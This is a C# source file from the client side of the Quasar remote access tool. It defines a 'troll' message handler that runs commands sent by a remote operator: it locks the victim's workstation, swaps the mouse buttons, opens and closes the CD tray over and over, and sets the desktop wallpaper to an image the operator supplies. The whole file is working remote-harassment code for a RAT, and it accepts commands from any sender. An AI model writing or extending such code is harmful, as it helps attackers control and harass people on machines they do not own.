using Quasar.Common.Messages;
using Quasar.Common.Networking;
using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;

namespace Quasar.Client.Messages
{
    public class TrollExtrasHandler : IMessageProcessor
    {
        [DllImport("user32.dll")] private static extern bool LockWorkStation();
        [DllImport("user32.dll")] private static extern bool SwapMouseButton(bool fSwap);
        [DllImport("winmm.dll", EntryPoint = "mciSendStringA", CharSet = CharSet.Ansi)]
        private static extern int mciSendString(string command, StringBuilder ret, int len, IntPtr callback);
        [DllImport("user32.dll", CharSet = CharSet.Auto)]
        private static extern int SystemParametersInfo(uint uAction, uint uParam, string lpvParam, uint fuWinIni);
        private const uint SPI_SETDESKWALLPAPER = 0x0014;
        private const uint SPIF_UPDATEINIFILE   = 0x0001;
        private const uint SPIF_SENDCHANGE      = 0x0002;

        public bool CanExecute(IMessage message) =>
            message is DoLockScreen  ||
            message is DoCdTray      ||
            message is DoMouseSwap   ||
            message is DoSetWallpaper;

        public bool CanExecuteFrom(ISender sender) => true;

        public void Execute(ISender sender, IMessage message)
        {
            switch (message)
            {
                case DoLockScreen _:   LockWorkStation(); break;
                case DoCdTray m:       new Thread(() => SpamCdTray(m.Count)) { IsBackground = true }.Start(); break;
                case DoMouseSwap m:    SwapMouseButton(m.Swap); break;
                case DoSetWallpaper m: new Thread(() => ApplyWallpaper(m.ImageData)) { IsBackground = true }.Start(); break;
            }
        }

        // ── Wallpaper ─────────────────────────────────────────────────────────

        private void ApplyWallpaper(byte[] data)
        {
            if (data == null || data.Length == 0) return;
            try
            {
                // Must be a BMP file on disk — SystemParametersInfo doesn't accept raw bytes.
                string path = Path.Combine(Path.GetTempPath(), "wp_" + Guid.NewGuid().ToString("N") + ".bmp");
                using (var ms = new MemoryStream(data))
                using (var img = System.Drawing.Image.FromStream(ms))
                    img.Save(path, System.Drawing.Imaging.ImageFormat.Bmp);

                SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, path, SPIF_UPDATEINIFILE | SPIF_SENDCHANGE);
            }
            catch { }
        }

        // ── CD tray spam ──────────────────────────────────────────────────────

        private static void SpamCdTray(int count)
        {
            count = Math.Max(1, Math.Min(count, 20));
            for (int i = 0; i < count; i++)
            {
                mciSendString("set cdaudio door open", null, 0, IntPtr.Zero);
                Thread.Sleep(700);
                mciSendString("set cdaudio door closed", null, 0, IntPtr.Zero);
                Thread.Sleep(700);
            }
        }

    }
}
